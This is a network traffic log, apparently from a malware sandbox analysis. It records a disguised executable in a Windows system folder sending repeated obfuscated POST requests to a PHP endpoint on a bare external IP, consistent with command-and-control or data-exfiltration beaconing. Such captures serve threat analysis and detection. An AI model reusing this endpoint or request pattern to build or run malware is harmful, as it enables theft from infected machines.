Apr 20, 2024 00:43:18.034184933 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 24 13 3e 04 22 57 20 0c 3f 04 2c 3f 2f 09 29 21 0b 00 2e 21 39 5b 29 2c 3f 04 2a 10 03 14 28 0d 30 5f 24 21 20 5c 24 5a 29 0e 2d 00 20 5a 01 11 27 06 27 00 37 0b 24 30 3a 5e 33 0e 3a 13 26 04 2a 5d 30 38 31 0c 29 3c 22 0b 27 5e 24 13 3e 01 2a 51 28 11 3f 08 25 2c 3c 0e 35 34 20 50 0c 10 3b 0d 2a 0c 38 08 25 5a 3f 56 25 11 3d 57 23 10 28 51 25 2f 2b 51 36 24 0d 5e 2b 32 32 14 28 03 28 59 22 1c 28 13 27 31 2c 54 29 22 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$>"W ?,?/)!.!9[),?(0_$! \$Z)- Z''7$0:^3:&]081)<"'^$>Q(?%,<54 P;8%Z?V%=W#(Q%/+Q6$^+22((Y"('1,T)""^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49814	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:17.620084047 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2564 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:17.878467083 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:17.878648996 CEST	2564	OUT	Data Raw: 5f 52 5e 5a 54 56 58 55 5d 56 5a 59 52 58 56 5b 54 54 5c 5f 50 52 53 59 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _R^ZTVXU]VZYRXV[TT\_PRSYW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$Z$A49)&3$_% (?:<6,2#%+<'#,?:4.G#$Z-
Apr 20, 2024 00:43:18.145184040 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49815	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:18.547117949 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:43:18.808926105 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:18.809334993 CEST	2568	OUT	Data Raw: 5f 52 5b 58 54 5f 58 50 5d 56 5a 59 52 5e 56 5a 54 54 5c 5d 50 5f 53 59 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _R[XT_XP]VZYR^VZTT\]P_SYW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$_3/2 _500#%(4<+'Y!72=+/([ Z#V,4.G#$Z-9
Apr 20, 2024 00:43:19.077913046 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49816	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:19.466275930 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:43:19.728147984 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:19.728342056 CEST	2568	OUT	Data Raw: 5a 56 5b 59 51 5a 5d 52 5d 56 5a 59 52 51 56 5a 54 54 5c 5c 50 5e 53 5a 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZV[YQZ]R]VZYRQVZTT\\P^SZW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'' 9*3#<^&3\ +T( 59V#!) #?'R.$.G#$Z-
Apr 20, 2024 00:43:19.996416092 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49817	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:20.368155956 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:20.626622915 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:20.626840115 CEST	2568	OUT	Data Raw: 5a 57 5e 53 54 56 58 5e 5d 56 5a 59 52 50 56 51 54 57 5c 5d 50 53 53 5c 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZW^STVX^]VZYRPVQTW\]PSS\W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'$A7:';%;X (4+:("Z!#V<? <+W-4.G#$Z-
Apr 20, 2024 00:43:20.895152092 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49818	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:21.352895021 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:21.614392996 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:21.614792109 CEST	2568	OUT	Data Raw: 5f 55 5b 5f 51 5a 5d 51 5d 56 5a 59 52 51 56 54 54 5c 5c 52 50 55 53 5a 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _U[_QZ]Q]VZYRQVTT\\RPUSZW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$Y$=#9W07%(+ )3\61U42:Q<34?<,4.G#$Z-
Apr 20, 2024 00:43:21.882976055 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49819	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:22.783643961 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:23.042256117 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:23.568001986 CEST	2568	OUT	Data Raw: 5f 55 5e 52 51 5a 5d 55 5d 56 5a 59 52 51 56 5a 54 56 5c 52 50 5f 53 5c 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _U^RQZ]U]VZYRQVZTV\RP_S\W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R''/!C %W3 ^20#<+:']"!R4W>>+#/8.4.G#$Z-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49820	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:23.827825069 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2148 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:24.086541891 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:24.221246004 CEST	2148	OUT	Data Raw: 5a 51 5e 5b 51 5c 5d 53 5d 56 5a 59 52 5a 56 53 54 5c 5c 59 50 52 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZQ^[Q\]S]VZYRZVST\\YPRS^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R''""*6$ '%; 7;'):3Y".#22>? \ <7:.G#$Z-)
Apr 20, 2024 00:43:24.486972094 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 27 07 29 5c 2e 56 23 0c 0a 59 3b 2f 33 0b 3d 22 36 5a 39 21 39 5e 3e 2f 34 5b 2a 2e 25 57 2b 33 09 02 27 0c 2b 04 33 02 04 57 3a 3a 20 5a 01 11 27 08 27 07 24 54 24 23 0b 06 30 30 03 00 26 3e 3e 15 24 28 0b 0d 3e 3f 36 0e 27 28 3f 02 2a 16 29 0f 28 3c 2f 07 26 5a 2f 53 36 0e 20 50 0c 10 38 18 28 22 33 1a 32 3f 27 1e 25 3f 25 54 20 2e 0e 1a 26 11 27 15 22 34 20 07 2b 1f 26 16 2b 2d 02 5f 22 0c 05 02 24 31 28 1e 3f 08 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98')\.V#Y;/3="6Z9!9^>/4[.%W+3'+3W:: Z''$T$#00&>>$(>?6'(?)(</&Z/S6 P8("32?'%?%T .&'"4 +&+-_"$1(?"^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49821	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:24.505481005 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:43:24.768229961 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:24.768529892 CEST	2568	OUT	Data Raw: 5f 56 5e 5a 51 5d 5d 55 5d 56 5a 59 52 5d 56 57 54 5c 5c 53 50 54 53 58 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _V^ZQ]]U]VZYR]VWT\\SPTSXW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$X'-":%3(%; (<<9<6/1V71P+,;7?<:4.G#$Z-5
Apr 20, 2024 00:43:25.036457062 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49822	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:25.475488901 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:43:25.733844995 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:25.734069109 CEST	2568	OUT	Data Raw: 5f 57 5b 5c 54 5b 58 51 5d 56 5a 59 52 5b 56 51 54 51 5c 59 50 51 53 5c 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _W[\T[XQ]VZYR[VQTQ\YPQS\W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'3,)@4_9S3371,7+'<:#!1T W!)//7'..G#$Z--
Apr 20, 2024 00:43:26.000700951 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49823	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:26.390948057 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:26.652621031 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:26.652872086 CEST	2568	OUT	Data Raw: 5f 52 5b 58 54 58 5d 52 5d 56 5a 59 52 5b 56 5b 54 55 5c 5d 50 51 53 5b 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _R[XTX]R]VZYR[V[TU\]PQS[W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$'<9E 9'04\&,78,<*'\5%S &W)<,]!,7V,4.G#$Z--
Apr 20, 2024 00:43:26.921335936 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49824	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:27.316416979 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:27.577790022 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:27.577969074 CEST	2568	OUT	Data Raw: 5a 56 5e 5e 54 56 58 55 5d 56 5a 59 52 51 56 56 54 55 5c 5f 50 52 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZV^^TVXU]VZYRQVVTU\_PRS^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$_0!4V& 7%;^ <* "1 1*)<# <?:4.G#$Z-
Apr 20, 2024 00:43:27.846486092 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49825	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:28.239725113 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:28.498718977 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:28.498918056 CEST	2568	OUT	Data Raw: 5f 51 5e 5c 54 56 5d 53 5d 56 5a 59 52 5f 56 53 54 5d 5c 5c 50 55 53 59 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _Q^\TV]S]VZYR_VST]\\PUSYW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'0<"9)302+X 84+*527&+,,#<T9.G#$Z-
Apr 20, 2024 00:43:28.765590906 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49826	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:29.171869993 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:29.434277058 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:29.434457064 CEST	2568	OUT	Data Raw: 5a 50 5b 5c 54 5b 58 51 5d 56 5a 59 52 5f 56 55 54 5c 5c 59 50 56 53 5c 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZP[\T[XQ]VZYR_VUT\\YPVS\W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'$,1 :%T&#7%8?44+:?X#,!V"!Q>8] ?;W-.G#$Z-
Apr 20, 2024 00:43:29.702842951 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49827	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:29.763565063 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2148 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:30.022245884 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:30.022502899 CEST	2148	OUT	Data Raw: 5f 57 5e 5a 51 5a 58 54 5d 56 5a 59 52 5f 56 54 54 50 5c 5e 50 50 53 5c 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _W^ZQZXT]VZYR_VTTP\^PPS\W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$'#$ ,1;4 +'+(6/&"1-)?#<'V.$.G#$Z-
